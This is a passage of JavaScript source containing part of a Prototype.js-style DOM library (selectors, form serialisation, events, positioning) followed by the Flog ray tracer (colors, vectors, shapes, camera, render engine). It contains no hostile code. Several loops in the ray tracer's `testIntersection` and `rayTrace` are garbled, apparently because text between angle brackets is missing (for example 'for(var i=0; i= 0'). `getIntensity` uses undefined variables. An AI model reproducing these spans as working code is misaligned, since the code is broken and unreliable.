(clause = params.attributes) { clause.each(function(attribute) { var value = 'element.readAttribute(' + attribute.name.inspect() + ')'; var splitValueBy = function(delimiter) { return value + ' && ' + value + '.split(' + delimiter.inspect() + ')'; } switch (attribute.operator) { case '=': conditions.push(value + ' == ' + attribute.value.inspect()); break; case '~=': conditions.push(splitValueBy(' ') + '.include(' + attribute.value.inspect() + ')'); break; case '|=': conditions.push( splitValueBy('-') + '.first().toUpperCase() == ' + attribute.value.toUpperCase().inspect() ); break; case '!=': conditions.push(value + ' != ' + attribute.value.inspect()); break; case '': case undefined: conditions.push('element.hasAttribute(' + attribute.name.inspect() + ')'); break; default: throw 'Unknown operator ' + attribute.operator + ' in selector'; } }); } return conditions.join(' && '); }, compileMatcher: function() { this.match = new Function('element', 'if (!element.tagName) return false; \ element = $(element); \ return ' + this.buildMatchExpression()); }, findElements: function(scope) { var element; if (element = $(this.params.id)) if (this.match(element)) if (!scope || Element.childOf(element, scope)) return [element]; scope = (scope || document).getElementsByTagName(this.params.tagName || '*'); var results = []; for (var i = 0, length = scope.length; i < length; i++) if (this.match(element = scope[i])) results.push(Element.extend(element)); return results; }, toString: function() { return this.expression; } } Object.extend(Selector, { matchElements: function(elements, expression) { var selector = new Selector(expression); return elements.select(selector.match.bind(selector)).map(Element.extend); }, findElement: function(elements, expression, index) { if (typeof expression == 'number') index = expression, expression = false; return Selector.matchElements(elements, expression || '*')[index || 0]; }, findChildElements: function(element, expressions) { return expressions.map(function(expression) { return expression.match(/[^\s"]+(?:"[^"]*"[^\s"]+)*/g).inject([null], function(results, expr) { var selector = new Selector(expr); return results.inject([], function(elements, result) { return elements.concat(selector.findElements(result || element)); }); }); }).flatten(); } }); function $$() { return Selector.findChildElements(document, $A(arguments)); } var Form = { reset: function(form) { $(form).reset(); return form; }, serializeElements: function(elements, getHash) { var data = elements.inject({}, function(result, element) { if (!element.disabled && element.name) { var key = element.name, value = $(element).getValue(); if (value != undefined) { if (result[key]) { if (result[key].constructor != Array) result[key] = [result[key]]; result[key].push(value); } else result[key] = value; } } return result; }); return getHash ? data : Hash.toQueryString(data); } }; Form.Methods = { serialize: function(form, getHash) { return Form.serializeElements(Form.getElements(form), getHash); }, getElements: function(form) { return $A($(form).getElementsByTagName('*')).inject([], function(elements, child) { if (Form.Element.Serializers[child.tagName.toLowerCase()]) elements.push(Element.extend(child)); return elements; } ); }, getInputs: function(form, typeName, name) { form = $(form); var inputs = form.getElementsByTagName('input'); if (!typeName && !name) return $A(inputs).map(Element.extend); for (var i = 0, matchingInputs = [], length = inputs.length; i < length; i++) { var input = inputs[i]; if ((typeName && input.type != typeName) || (name && input.name != name)) continue; matchingInputs.push(Element.extend(input)); } return matchingInputs; }, disable: function(form) { form = $(form); form.getElements().each(function(element) { element.blur(); element.disabled = 'true'; }); return form; }, enable: function(form) { form = $(form); form.getElements().each(function(element) { element.disabled = ''; }); return form; }, findFirstElement: function(form) { return $(form).getElements().find(function(element) { return element.type != 'hidden' && !element.disabled && ['input', 'select', 'textarea'].include(element.tagName.toLowerCase()); }); }, focusFirstElement: function(form) { form = $(form); form.findFirstElement().activate(); return form; } } Object.extend(Form, Form.Methods); /*--------------------------------------------------------------------------*/ Form.Element = { focus: function(element) { $(element).focus(); return element; }, select: function(element) { $(element).select(); return element; } } Form.Element.Methods = { serialize: function(element) { element = $(element); if (!element.disabled && element.name) { var value = element.getValue(); if (value != undefined) { var pair = {}; pair[element.name] = value; return Hash.toQueryString(pair); } } return ''; }, getValue: function(element) { element = $(element); var method = element.tagName.toLowerCase(); return Form.Element.Serializers[method](element); }, clear: function(element) { $(element).value = ''; return element; }, present: function(element) { return $(element).value != ''; }, activate: function(element) { element = $(element); element.focus(); if (element.select && ( element.tagName.toLowerCase() != 'input' || !['button', 'reset', 'submit'].include(element.type) ) ) element.select(); return element; }, disable: function(element) { element = $(element); element.disabled = true; return element; }, enable: function(element) { element = $(element); element.blur(); element.disabled = false; return element; } } Object.extend(Form.Element, Form.Element.Methods); var Field = Form.Element; var $F = Form.Element.getValue; /*--------------------------------------------------------------------------*/ Form.Element.Serializers = { input: function(element) { switch (element.type.toLowerCase()) { case 'checkbox': case 'radio': return Form.Element.Serializers.inputSelector(element); default: return Form.Element.Serializers.textarea(element); } }, inputSelector: function(element) { return element.checked ? element.value : null; }, textarea: function(element) { return element.value; }, select: function(element) { return this[element.type == 'select-one' ? 'selectOne' : 'selectMany'](element); }, selectOne: function(element) { var index = element.selectedIndex; return index >= 0 ? this.optionValue(element.options[index]) : null; }, selectMany: function(element) { var values, length = element.length; if (!length) return null; for (var i = 0, values = []; i < length; i++) { var opt = element.options[i]; if (opt.selected) values.push(this.optionValue(opt)); } return values; }, optionValue: function(opt) { // extend element because hasAttribute may not be native return Element.extend(opt).hasAttribute('value') ? opt.value : opt.text; } } /*--------------------------------------------------------------------------*/ Abstract.TimedObserver = function() {} Abstract.TimedObserver.prototype = { initialize: function(element, frequency, callback) { this.frequency = frequency; this.element = $(element); this.callback = callback; this.lastValue = this.getValue(); this.registerCallback(); }, registerCallback: function() { setInterval(this.onTimerEvent.bind(this), this.frequency * 1000); }, onTimerEvent: function() { var value = this.getValue(); var changed = ('string' == typeof this.lastValue && 'string' == typeof value ? this.lastValue != value : String(this.lastValue) != String(value)); if (changed) { this.callback(this.element, value); this.lastValue = value; } } } Form.Element.Observer = Class.create(); Form.Element.Observer.prototype = Object.extend(new Abstract.TimedObserver(), { getValue: function() { return Form.Element.getValue(this.element); } }); Form.Observer = Class.create(); Form.Observer.prototype = Object.extend(new Abstract.TimedObserver(), { getValue: function() { return Form.serialize(this.element); } }); /*--------------------------------------------------------------------------*/ Abstract.EventObserver = function() {} Abstract.EventObserver.prototype = { initialize: function(element, callback) { this.element = $(element); this.callback = callback; this.lastValue = this.getValue(); if (this.element.tagName.toLowerCase() == 'form') this.registerFormCallbacks(); else this.registerCallback(this.element); }, onElementEvent: function() { var value = this.getValue(); if (this.lastValue != value) { this.callback(this.element, value); this.lastValue = value; } }, registerFormCallbacks: function() { Form.getElements(this.element).each(this.registerCallback.bind(this)); }, registerCallback: function(element) { if (element.type) { switch (element.type.toLowerCase()) { case 'checkbox': case 'radio': Event.observe(element, 'click', this.onElementEvent.bind(this)); break; default: Event.observe(element, 'change', this.onElementEvent.bind(this)); break; } } } } Form.Element.EventObserver = Class.create(); Form.Element.EventObserver.prototype = Object.extend(new Abstract.EventObserver(), { getValue: function() { return Form.Element.getValue(this.element); } }); Form.EventObserver = Class.create(); Form.EventObserver.prototype = Object.extend(new Abstract.EventObserver(), { getValue: function() { return Form.serialize(this.element); } }); if (!window.Event) { var Event = new Object(); } Object.extend(Event, { KEY_BACKSPACE: 8, KEY_TAB: 9, KEY_RETURN: 13, KEY_ESC: 27, KEY_LEFT: 37, KEY_UP: 38, KEY_RIGHT: 39, KEY_DOWN: 40, KEY_DELETE: 46, KEY_HOME: 36, KEY_END: 35, KEY_PAGEUP: 33, KEY_PAGEDOWN: 34, element: function(event) { return event.target || event.srcElement; }, isLeftClick: function(event) { return (((event.which) && (event.which == 1)) || ((event.button) && (event.button == 1))); }, pointerX: function(event) { return event.pageX || (event.clientX + (document.documentElement.scrollLeft || document.body.scrollLeft)); }, pointerY: function(event) { return event.pageY || (event.clientY + (document.documentElement.scrollTop || document.body.scrollTop)); }, stop: function(event) { if (event.preventDefault) { event.preventDefault(); event.stopPropagation(); } else { event.returnValue = false; event.cancelBubble = true; } }, // find the first node with the given tagName, starting from the // node the event was triggered on; traverses the DOM upwards findElement: function(event, tagName) { var element = Event.element(event); while (element.parentNode && (!element.tagName || (element.tagName.toUpperCase() != tagName.toUpperCase()))) element = element.parentNode; return element; }, observers: false, _observeAndCache: function(element, name, observer, useCapture) { if (!this.observers) this.observers = []; if (element.addEventListener) { this.observers.push([element, name, observer, useCapture]); element.addEventListener(name, observer, useCapture); } else if (element.attachEvent) { this.observers.push([element, name, observer, useCapture]); element.attachEvent('on' + name, observer); } }, unloadCache: function() { if (!Event.observers) return; for (var i = 0, length = Event.observers.length; i < length; i++) { Event.stopObserving.apply(this, Event.observers[i]); Event.observers[i][0] = null; } Event.observers = false; }, observe: function(element, name, observer, useCapture) { element = $(element); useCapture = useCapture || false; if (name == 'keypress' && (navigator.appVersion.match(/Konqueror|Safari|KHTML/) || element.attachEvent)) name = 'keydown'; Event._observeAndCache(element, name, observer, useCapture); }, stopObserving: function(element, name, observer, useCapture) { element = $(element); useCapture = useCapture || false; if (name == 'keypress' && (navigator.appVersion.match(/Konqueror|Safari|KHTML/) || element.detachEvent)) name = 'keydown'; if (element.removeEventListener) { element.removeEventListener(name, observer, useCapture); } else if (element.detachEvent) { try { element.detachEvent('on' + name, observer); } catch (e) {} } } }); /* prevent memory leaks in IE */ if (navigator.appVersion.match(/\bMSIE\b/)) Event.observe(window, 'unload', Event.unloadCache, false); var Position = { // set to true if needed, warning: firefox performance problems // NOT neeeded for page scrolling, only if draggable contained in // scrollable elements includeScrollOffsets: false, // must be called before calling withinIncludingScrolloffset, every time the // page is scrolled prepare: function() { this.deltaX = window.pageXOffset || document.documentElement.scrollLeft || document.body.scrollLeft || 0; this.deltaY = window.pageYOffset || document.documentElement.scrollTop || document.body.scrollTop || 0; }, realOffset: function(element) { var valueT = 0, valueL = 0; do { valueT += element.scrollTop || 0; valueL += element.scrollLeft || 0; element = element.parentNode; } while (element); return [valueL, valueT]; }, cumulativeOffset: function(element) { var valueT = 0, valueL = 0; do { valueT += element.offsetTop || 0; valueL += element.offsetLeft || 0; element = element.offsetParent; } while (element); return [valueL, valueT]; }, positionedOffset: function(element) { var valueT = 0, valueL = 0; do { valueT += element.offsetTop || 0; valueL += element.offsetLeft || 0; element = element.offsetParent; if (element) { if(element.tagName=='BODY') break; var p = Element.getStyle(element, 'position'); if (p == 'relative' || p == 'absolute') break; } } while (element); return [valueL, valueT]; }, offsetParent: function(element) { if (element.offsetParent) return element.offsetParent; if (element == document.body) return element; while ((element = element.parentNode) && element != document.body) if (Element.getStyle(element, 'position') != 'static') return element; return document.body; }, // caches x/y coordinate pair to use with overlap within: function(element, x, y) { if (this.includeScrollOffsets) return this.withinIncludingScrolloffsets(element, x, y); this.xcomp = x; this.ycomp = y; this.offset = this.cumulativeOffset(element); return (y >= this.offset[1] && y < this.offset[1] + element.offsetHeight && x >= this.offset[0] && x < this.offset[0] + element.offsetWidth); }, withinIncludingScrolloffsets: function(element, x, y) { var offsetcache = this.realOffset(element); this.xcomp = x + offsetcache[0] - this.deltaX; this.ycomp = y + offsetcache[1] - this.deltaY; this.offset = this.cumulativeOffset(element); return (this.ycomp >= this.offset[1] && this.ycomp < this.offset[1] + element.offsetHeight && this.xcomp >= this.offset[0] && this.xcomp < this.offset[0] + element.offsetWidth); }, // within must be called directly before overlap: function(mode, element) { if (!mode) return 0; if (mode == 'vertical') return ((this.offset[1] + element.offsetHeight) - this.ycomp) / element.offsetHeight; if (mode == 'horizontal') return ((this.offset[0] + element.offsetWidth) - this.xcomp) / element.offsetWidth; }, page: function(forElement) { var valueT = 0, valueL = 0; var element = forElement; do { valueT += element.offsetTop || 0; valueL += element.offsetLeft || 0; // Safari fix if (element.offsetParent==document.body) if (Element.getStyle(element,'position')=='absolute') break; } while (element = element.offsetParent); element = forElement; do { if (!window.opera || element.tagName=='BODY') { valueT -= element.scrollTop || 0; valueL -= element.scrollLeft || 0; } } while (element = element.parentNode); return [valueL, valueT]; }, clone: function(source, target) { var options = Object.extend({ setLeft: true, setTop: true, setWidth: true, setHeight: true, offsetTop: 0, offsetLeft: 0 }, arguments[2] || {}) // find page position of source source = $(source); var p = Position.page(source); // find coordinate system to use target = $(target); var delta = [0, 0]; var parent = null; // delta [0,0] will do fine with position: fixed elements, // position:absolute needs offsetParent deltas if (Element.getStyle(target,'position') == 'absolute') { parent = Position.offsetParent(target); delta = Position.page(parent); } // correct by body offsets (fixes Safari) if (parent == document.body) { delta[0] -= document.body.offsetLeft; delta[1] -= document.body.offsetTop; } // set position if(options.setLeft) target.style.left = (p[0] - delta[0] + options.offsetLeft) + 'px'; if(options.setTop) target.style.top = (p[1] - delta[1] + options.offsetTop) + 'px'; if(options.setWidth) target.style.width = source.offsetWidth + 'px'; if(options.setHeight) target.style.height = source.offsetHeight + 'px'; }, absolutize: function(element) { element = $(element); if (element.style.position == 'absolute') return; Position.prepare(); var offsets = Position.positionedOffset(element); var top = offsets[1]; var left = offsets[0]; var width = element.clientWidth; var height = element.clientHeight; element._originalLeft = left - parseFloat(element.style.left || 0); element._originalTop = top - parseFloat(element.style.top || 0); element._originalWidth = element.style.width; element._originalHeight = element.style.height; element.style.position = 'absolute'; element.style.top = top + 'px'; element.style.left = left + 'px'; element.style.width = width + 'px'; element.style.height = height + 'px'; }, relativize: function(element) { element = $(element); if (element.style.position == 'relative') return; Position.prepare(); element.style.position = 'relative'; var top = parseFloat(element.style.top || 0) - (element._originalTop || 0); var left = parseFloat(element.style.left || 0) - (element._originalLeft || 0); element.style.top = top + 'px'; element.style.left = left + 'px'; element.style.height = element._originalHeight; element.style.width = element._originalWidth; } } // Safari returns margins on body which is incorrect if the child is absolutely // positioned. For performance reasons, redefine Position.cumulativeOffset for // KHTML/WebKit only. if (/Konqueror|Safari|KHTML/.test(navigator.userAgent)) { Position.cumulativeOffset = function(element) { var valueT = 0, valueL = 0; do { valueT += element.offsetTop || 0; valueL += element.offsetLeft || 0; if (element.offsetParent == document.body) if (Element.getStyle(element, 'position') == 'absolute') break; element = element.offsetParent; } while (element); return [valueL, valueT]; } } Element.addMethods(); // ------------------------------------------------------------------------ // ------------------------------------------------------------------------ // The rest of this file is the actual ray tracer written by Adam // Burmister. It's a concatenation of the following files: // // flog/color.js // flog/light.js // flog/vector.js // flog/ray.js // flog/scene.js // flog/material/basematerial.js // flog/material/solid.js // flog/material/chessboard.js // flog/shape/baseshape.js // flog/shape/sphere.js // flog/shape/plane.js // flog/intersectioninfo.js // flog/camera.js // flog/background.js // flog/engine.js /* Fake a Flog.* namespace */ if(typeof(Flog) == 'undefined') var Flog = {}; if(typeof(Flog.RayTracer) == 'undefined') Flog.RayTracer = {}; Flog.RayTracer.Color = Class.create(); Flog.RayTracer.Color.prototype = { red : 0.0, green : 0.0, blue : 0.0, initialize : function(r, g, b) { if(!r) r = 0.0; if(!g) g = 0.0; if(!b) b = 0.0; this.red = r; this.green = g; this.blue = b; }, add : function(c1, c2){ var result = new Flog.RayTracer.Color(0,0,0); result.red = c1.red + c2.red; result.green = c1.green + c2.green; result.blue = c1.blue + c2.blue; return result; }, addScalar: function(c1, s){ var result = new Flog.RayTracer.Color(0,0,0); result.red = c1.red + s; result.green = c1.green + s; result.blue = c1.blue + s; result.limit(); return result; }, subtract: function(c1, c2){ var result = new Flog.RayTracer.Color(0,0,0); result.red = c1.red - c2.red; result.green = c1.green - c2.green; result.blue = c1.blue - c2.blue; return result; }, multiply : function(c1, c2) { var result = new Flog.RayTracer.Color(0,0,0); result.red = c1.red * c2.red; result.green = c1.green * c2.green; result.blue = c1.blue * c2.blue; return result; }, multiplyScalar : function(c1, f) { var result = new Flog.RayTracer.Color(0,0,0); result.red = c1.red * f; result.green = c1.green * f; result.blue = c1.blue * f; return result; }, divideFactor : function(c1, f) { var result = new Flog.RayTracer.Color(0,0,0); result.red = c1.red / f; result.green = c1.green / f; result.blue = c1.blue / f; return result; }, limit: function(){ this.red = (this.red > 0.0) ? ( (this.red > 1.0) ? 1.0 : this.red ) : 0.0; this.green = (this.green > 0.0) ? ( (this.green > 1.0) ? 1.0 : this.green ) : 0.0; this.blue = (this.blue > 0.0) ? ( (this.blue > 1.0) ? 1.0 : this.blue ) : 0.0; }, distance : function(color) { var d = Math.abs(this.red - color.red) + Math.abs(this.green - color.green) + Math.abs(this.blue - color.blue); return d; }, blend: function(c1, c2, w){ var result = new Flog.RayTracer.Color(0,0,0); result = Flog.RayTracer.Color.prototype.add( Flog.RayTracer.Color.prototype.multiplyScalar(c1, 1 - w), Flog.RayTracer.Color.prototype.multiplyScalar(c2, w) ); return result; }, toString : function () { var r = Math.floor(this.red*255); var g = Math.floor(this.green*255); var b = Math.floor(this.blue*255); return "rgb("+ r +","+ g +","+ b +")"; } } /* Fake a Flog.* namespace */ if(typeof(Flog) == 'undefined') var Flog = {}; if(typeof(Flog.RayTracer) == 'undefined') Flog.RayTracer = {}; Flog.RayTracer.Light = Class.create(); Flog.RayTracer.Light.prototype = { position: null, color: null, intensity: 10.0, initialize : function(pos, color, intensity) { this.position = pos; this.color = color; this.intensity = (intensity ? intensity : 10.0); }, getIntensity: function(distance){ if(distance >= intensity) return 0; return Math.pow((intensity - distance) / strength, 0.2); }, toString : function () { return 'Light [' + this.position.x + ',' + this.position.y + ',' + this.position.z + ']'; } } /* Fake a Flog.* namespace */ if(typeof(Flog) == 'undefined') var Flog = {}; if(typeof(Flog.RayTracer) == 'undefined') Flog.RayTracer = {}; Flog.RayTracer.Vector = Class.create(); Flog.RayTracer.Vector.prototype = { x : 0.0, y : 0.0, z : 0.0, initialize : function(x, y, z) { this.x = (x ? x : 0); this.y = (y ? y : 0); this.z = (z ? z : 0); }, copy: function(vector){ this.x = vector.x; this.y = vector.y; this.z = vector.z; }, normalize : function() { var m = this.magnitude(); return new Flog.RayTracer.Vector(this.x / m, this.y / m, this.z / m); }, magnitude : function() { return Math.sqrt((this.x * this.x) + (this.y * this.y) + (this.z * this.z)); }, cross : function(w) { return new Flog.RayTracer.Vector( -this.z * w.y + this.y * w.z, this.z * w.x - this.x * w.z, -this.y * w.x + this.x * w.y); }, dot : function(w) { return this.x * w.x + this.y * w.y + this.z * w.z; }, add : function(v, w) { return new Flog.RayTracer.Vector(w.x + v.x, w.y + v.y, w.z + v.z); }, subtract : function(v, w) { if(!w || !v) throw 'Vectors must be defined [' + v + ',' + w + ']'; return new Flog.RayTracer.Vector(v.x - w.x, v.y - w.y, v.z - w.z); }, multiplyVector : function(v, w) { return new Flog.RayTracer.Vector(v.x * w.x, v.y * w.y, v.z * w.z); }, multiplyScalar : function(v, w) { return new Flog.RayTracer.Vector(v.x * w, v.y * w, v.z * w); }, toString : function () { return 'Vector [' + this.x + ',' + this.y + ',' + this.z + ']'; } } /* Fake a Flog.* namespace */ if(typeof(Flog) == 'undefined') var Flog = {}; if(typeof(Flog.RayTracer) == 'undefined') Flog.RayTracer = {}; Flog.RayTracer.Ray = Class.create(); Flog.RayTracer.Ray.prototype = { position : null, direction : null, initialize : function(pos, dir) { this.position = pos; this.direction = dir; }, toString : function () { return 'Ray [' + this.position + ',' + this.direction + ']'; } } /* Fake a Flog.* namespace */ if(typeof(Flog) == 'undefined') var Flog = {}; if(typeof(Flog.RayTracer) == 'undefined') Flog.RayTracer = {}; Flog.RayTracer.Scene = Class.create(); Flog.RayTracer.Scene.prototype = { camera : null, shapes : [], lights : [], background : null, initialize : function() { this.camera = new Flog.RayTracer.Camera( new Flog.RayTracer.Vector(0,0,-5), new Flog.RayTracer.Vector(0,0,1), new Flog.RayTracer.Vector(0,1,0) ); this.shapes = new Array(); this.lights = new Array(); this.background = new Flog.RayTracer.Background(new Flog.RayTracer.Color(0,0,0.5), 0.2); } } /* Fake a Flog.* namespace */ if(typeof(Flog) == 'undefined') var Flog = {}; if(typeof(Flog.RayTracer) == 'undefined') Flog.RayTracer = {}; if(typeof(Flog.RayTracer.Material) == 'undefined') Flog.RayTracer.Material = {}; Flog.RayTracer.Material.BaseMaterial = Class.create(); Flog.RayTracer.Material.BaseMaterial.prototype = { gloss: 2.0, // [0...infinity] 0 = matt transparency: 0.0, // 0=opaque reflection: 0.0, // [0...infinity] 0 = no reflection refraction: 0.50, hasTexture: false, initialize : function() { }, getColor: function(u, v){ }, wrapUp: function(t){ t = t % 2.0; if(t < -1) t += 2.0; if(t >= 1) t -= 2.0; return t; }, toString : function () { return 'Material [gloss=' + this.gloss + ', transparency=' + this.transparency + ', hasTexture=' + this.hasTexture +']'; } } /* Fake a Flog.* namespace */ if(typeof(Flog) == 'undefined') var Flog = {}; if(typeof(Flog.RayTracer) == 'undefined') Flog.RayTracer = {}; Flog.RayTracer.Material.Solid = Class.create(); Flog.RayTracer.Material.Solid.prototype = Object.extend( new Flog.RayTracer.Material.BaseMaterial(), { initialize : function(color, reflection, refraction, transparency, gloss) { this.color = color; this.reflection = reflection; this.transparency = transparency; this.gloss = gloss; this.hasTexture = false; }, getColor: function(u, v){ return this.color; }, toString : function () { return 'SolidMaterial [gloss=' + this.gloss + ', transparency=' + this.transparency + ', hasTexture=' + this.hasTexture +']'; } } ); /* Fake a Flog.* namespace */ if(typeof(Flog) == 'undefined') var Flog = {}; if(typeof(Flog.RayTracer) == 'undefined') Flog.RayTracer = {}; Flog.RayTracer.Material.Chessboard = Class.create(); Flog.RayTracer.Material.Chessboard.prototype = Object.extend( new Flog.RayTracer.Material.BaseMaterial(), { colorEven: null, colorOdd: null, density: 0.5, initialize : function(colorEven, colorOdd, reflection, transparency, gloss, density) { this.colorEven = colorEven; this.colorOdd = colorOdd; this.reflection = reflection; this.transparency = transparency; this.gloss = gloss; this.density = density; this.hasTexture = true; }, getColor: function(u, v){ var t = this.wrapUp(u * this.density) * this.wrapUp(v * this.density); if(t < 0.0) return this.colorEven; else return this.colorOdd; }, toString : function () { return 'ChessMaterial [gloss=' + this.gloss + ', transparency=' + this.transparency + ', hasTexture=' + this.hasTexture +']'; } } ); /* Fake a Flog.* namespace */ if(typeof(Flog) == 'undefined') var Flog = {}; if(typeof(Flog.RayTracer) == 'undefined') Flog.RayTracer = {}; if(typeof(Flog.RayTracer.Shape) == 'undefined') Flog.RayTracer.Shape = {}; Flog.RayTracer.Shape.BaseShape = Class.create(); Flog.RayTracer.Shape.BaseShape.prototype = { position: null, material: null, initialize : function() { this.position = new Vector(0,0,0); this.material = new Flog.RayTracer.Material.SolidMaterial( new Flog.RayTracer.Color(1,0,1), 0, 0, 0 ); }, toString : function () { return 'Material [gloss=' + this.gloss + ', transparency=' + this.transparency + ', hasTexture=' + this.hasTexture +']'; } } /* Fake a Flog.* namespace */ if(typeof(Flog) == 'undefined') var Flog = {}; if(typeof(Flog.RayTracer) == 'undefined') Flog.RayTracer = {}; if(typeof(Flog.RayTracer.Shape) == 'undefined') Flog.RayTracer.Shape = {}; Flog.RayTracer.Shape.Sphere = Class.create(); Flog.RayTracer.Shape.Sphere.prototype = { initialize : function(pos, radius, material) { this.radius = radius; this.position = pos; this.material = material; }, intersect: function(ray){ var info = new Flog.RayTracer.IntersectionInfo(); info.shape = this; var dst = Flog.RayTracer.Vector.prototype.subtract(ray.position, this.position); var B = dst.dot(ray.direction); var C = dst.dot(dst) - (this.radius * this.radius); var D = (B * B) - C; if(D > 0){ // intersection! info.isHit = true; info.distance = (-B) - Math.sqrt(D); info.position = Flog.RayTracer.Vector.prototype.add( ray.position, Flog.RayTracer.Vector.prototype.multiplyScalar( ray.direction, info.distance ) ); info.normal = Flog.RayTracer.Vector.prototype.subtract( info.position, this.position ).normalize(); info.color = this.material.getColor(0,0); } else { info.isHit = false; } return info; }, toString : function () { return 'Sphere [position=' + this.position + ', radius=' + this.radius + ']'; } } /* Fake a Flog.* namespace */ if(typeof(Flog) == 'undefined') var Flog = {}; if(typeof(Flog.RayTracer) == 'undefined') Flog.RayTracer = {}; if(typeof(Flog.RayTracer.Shape) == 'undefined') Flog.RayTracer.Shape = {}; Flog.RayTracer.Shape.Plane = Class.create(); Flog.RayTracer.Shape.Plane.prototype = { d: 0.0, initialize : function(pos, d, material) { this.position = pos; this.d = d; this.material = material; }, intersect: function(ray){ var info = new Flog.RayTracer.IntersectionInfo(); var Vd = this.position.dot(ray.direction); if(Vd == 0) return info; // no intersection var t = -(this.position.dot(ray.position) + this.d) / Vd; if(t <= 0) return info; info.shape = this; info.isHit = true; info.position = Flog.RayTracer.Vector.prototype.add( ray.position, Flog.RayTracer.Vector.prototype.multiplyScalar( ray.direction, t ) ); info.normal = this.position; info.distance = t; if(this.material.hasTexture){ var vU = new Flog.RayTracer.Vector(this.position.y, this.position.z, -this.position.x); var vV = vU.cross(this.position); var u = info.position.dot(vU); var v = info.position.dot(vV); info.color = this.material.getColor(u,v); } else { info.color = this.material.getColor(0,0); } return info; }, toString : function () { return 'Plane [' + this.position + ', d=' + this.d + ']'; } } /* Fake a Flog.* namespace */ if(typeof(Flog) == 'undefined') var Flog = {}; if(typeof(Flog.RayTracer) == 'undefined') Flog.RayTracer = {}; Flog.RayTracer.IntersectionInfo = Class.create(); Flog.RayTracer.IntersectionInfo.prototype = { isHit: false, hitCount: 0, shape: null, position: null, normal: null, color: null, distance: null, initialize : function() { this.color = new Flog.RayTracer.Color(0,0,0); }, toString : function () { return 'Intersection [' + this.position + ']'; } } /* Fake a Flog.* namespace */ if(typeof(Flog) == 'undefined') var Flog = {}; if(typeof(Flog.RayTracer) == 'undefined') Flog.RayTracer = {}; Flog.RayTracer.Camera = Class.create(); Flog.RayTracer.Camera.prototype = { position: null, lookAt: null, equator: null, up: null, screen: null, initialize : function(pos, lookAt, up) { this.position = pos; this.lookAt = lookAt; this.up = up; this.equator = lookAt.normalize().cross(this.up); this.screen = Flog.RayTracer.Vector.prototype.add(this.position, this.lookAt); }, getRay: function(vx, vy){ var pos = Flog.RayTracer.Vector.prototype.subtract( this.screen, Flog.RayTracer.Vector.prototype.subtract( Flog.RayTracer.Vector.prototype.multiplyScalar(this.equator, vx), Flog.RayTracer.Vector.prototype.multiplyScalar(this.up, vy) ) ); pos.y = pos.y * -1; var dir = Flog.RayTracer.Vector.prototype.subtract( pos, this.position ); var ray = new Flog.RayTracer.Ray(pos, dir.normalize()); return ray; }, toString : function () { return 'Ray []'; } } /* Fake a Flog.* namespace */ if(typeof(Flog) == 'undefined') var Flog = {}; if(typeof(Flog.RayTracer) == 'undefined') Flog.RayTracer = {}; Flog.RayTracer.Background = Class.create(); Flog.RayTracer.Background.prototype = { color : null, ambience : 0.0, initialize : function(color, ambience) { this.color = color; this.ambience = ambience; } } /* Fake a Flog.* namespace */ if(typeof(Flog) == 'undefined') var Flog = {}; if(typeof(Flog.RayTracer) == 'undefined') Flog.RayTracer = {}; Flog.RayTracer.Engine = Class.create(); Flog.RayTracer.Engine.prototype = { canvas: null, /* 2d context we can render to */ initialize: function(options){ this.options = Object.extend({ canvasHeight: 100, canvasWidth: 100, pixelWidth: 2, pixelHeight: 2, renderDiffuse: false, renderShadows: false, renderHighlights: false, renderReflections: false, rayDepth: 2 }, options || {}); this.options.canvasHeight /= this.options.pixelHeight; this.options.canvasWidth /= this.options.pixelWidth; /* TODO: dynamically include other scripts */ }, setPixel: function(x, y, color){ var pxW, pxH; pxW = this.options.pixelWidth; pxH = this.options.pixelHeight; if (this.canvas) { this.canvas.fillStyle = color.toString(); this.canvas.fillRect (x * pxW, y * pxH, pxW, pxH); } else { // print(x * pxW, y * pxH, pxW, pxH); } }, renderScene: function(scene, canvas){ /* Get canvas */ if (canvas) { this.canvas = canvas.getContext("2d"); } else { this.canvas = null; } var canvasHeight = this.options.canvasHeight; var canvasWidth = this.options.canvasWidth; for(var y=0; y < canvasHeight; y++){ for(var x=0; x < canvasWidth; x++){ var yp = y * 1.0 / canvasHeight * 2 - 1; var xp = x * 1.0 / canvasWidth * 2 - 1; var ray = scene.camera.getRay(xp, yp); var color = this.getPixelColor(ray, scene); this.setPixel(x, y, color); } } }, getPixelColor: function(ray, scene){ var info = this.testIntersection(ray, scene, null); if(info.isHit){ var color = this.rayTrace(info, ray, scene, 0); return color; } return scene.background.color; }, testIntersection: function(ray, scene, exclude){ var hits = 0; var best = new Flog.RayTracer.IntersectionInfo(); best.distance = 2000; for(var i=0; i= 0 && info.distance < best.distance){ best = info; hits++; } } } best.hitCount = hits; return best; }, getReflectionRay: function(P,N,V){ var c1 = -N.dot(V); var R1 = Flog.RayTracer.Vector.prototype.add( Flog.RayTracer.Vector.prototype.multiplyScalar(N, 2*c1), V ); return new Flog.RayTracer.Ray(P, R1); }, rayTrace: function(info, ray, scene, depth){ // Calc ambient var color = Flog.RayTracer.Color.prototype.multiplyScalar(info.color, scene.background.ambience); var oldColor = color; var shininess = Math.pow(10, info.shape.material.gloss + 1); for(var i=0; i 0.0){ color = Flog.RayTracer.Color.prototype.add( color, Flog.RayTracer.Color.prototype.multiply( info.color, Flog.RayTracer.Color.prototype.multiplyScalar( light.color, L ) ) ); } } // The greater the depth the more accurate the colours, but // this is exponentially (!) expensive if(depth <= this.options.rayDepth){ // calculate reflection ray if(this.options.renderReflections && info.shape.material.reflection > 0) { var reflectionRay = this.getReflectionRay(info.position, info.normal, ray.direction); var refl = this.testIntersection(reflectionRay, scene, info.shape); if (refl.isHit && refl.distance > 0){ refl.color = this.rayTrace(refl, reflectionRay, scene, depth + 1); } else { refl.color = scene.background.color; } color = Flog.RayTracer.Color.prototype.blend( color, refl.color, info.shape.material.reflection ); } // Refraction /* TODO */ } /* Render shadows and highlights */ var shadowInfo = new Flog.RayTracer.IntersectionInfo(); if(this.options.renderShadows){ var shadowRay = new Flog.RayTracer.Ray(info.position, v); shadowInfo = this.testIntersection(shadowRay, scene, info.shape); if(shadowInfo.isHit && shadowInfo.shape != info.shape /*&& shadowInfo.shape.type != 'PLANE'*/){ var vA = Flog.RayTracer.Color.prototype.multiplyScalar(color, 0.5); var dB = (0.5 * Math.pow(shadowInfo.shape.material.transparency, 0.5)); color = Flog.RayTracer.Color.prototype.addScalar(vA,dB); } } // Phong specular highlights if(this.options.renderHighlights && !shadowInfo.isHit && info.shape.material.gloss > 0){ var Lv = Flog.RayTracer.Vector.prototype.subtract( info.shape.position, light.position ).normalize(); var E = Flog.RayTracer.Vector.prototype.subtract( scene.camera.position, info.shape.position ).normalize(); var H = 